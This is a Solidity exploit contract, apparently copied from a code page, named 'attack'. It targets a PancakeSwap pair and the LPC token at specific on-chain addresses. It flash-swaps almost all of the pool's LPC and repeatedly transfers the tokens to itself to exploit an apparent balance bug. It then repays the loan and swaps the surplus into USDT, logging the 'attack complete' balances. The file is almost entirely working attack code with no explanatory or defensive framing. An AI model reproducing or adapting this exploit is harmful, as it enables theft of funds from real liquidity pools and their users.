1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| pragma solidity 0.8.10;
import "hardhat/console.sol";
interface IERC20{ function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external ; function approve(address spender, uint256 amount) external; }
interface IpancakePair{ function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function getReserves()external view returns ( uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast ); }
interface IpancakeRouter{ function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] memory path, address to, uint256 deadline ) external; }
contract attack{
IpancakePair pair = IpancakePair(0x2ecD8Ce228D534D8740617673F31b7541f6A0099); IERC20 lpc = IERC20(0x1E813fA05739Bf145c1F182CB950dA7af046778d); IpancakeRouter router = IpancakeRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E); address usdt = 0x55d398326f99059fF775485246999027B3197955; address owner;
constructor(){ owner = msg.sender; } modifier onlyOwner{ require(msg.sender == owner,"not owner"); _; }
function flashloan() public onlyOwner{ (uint256 lpcreserves, ,) = pair.getReserves(); uint256 lpcbalance = lpc.balanceOf(address(pair)); console.log("lpcreserves balance is:",lpcreserves); console.log("lpcbalance balance is:",lpcbalance); console.log("start flashloan"); pair.swap( lpcreserves-1, 0, address(this), new bytes(1) ); address[] memory path = new address[](2); path[0] = address(lpc); path[1] = usdt; lpc.approve(address(router),type(uint).max); router.swapExactTokensForTokensSupportingFeeOnTransferTokens( lpc.balanceOf(address(this)), 0, path, address(this), block.timestamp ); console.log("attack complete lpc balance is:",lpc.balanceOf(address(this))/1e18); console.log("attack complete usdt balance is:",IERC20(usdt).balanceOf(address(this))/1e18);
}
function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external{
for (uint256 i=0;i<=10;i++){ uint256 amount = lpc.balanceOf(address(this)); lpc.transfer(address(this),amount); } lpc.transfer(address(pair),(amount0*11000)/10000); }
}
|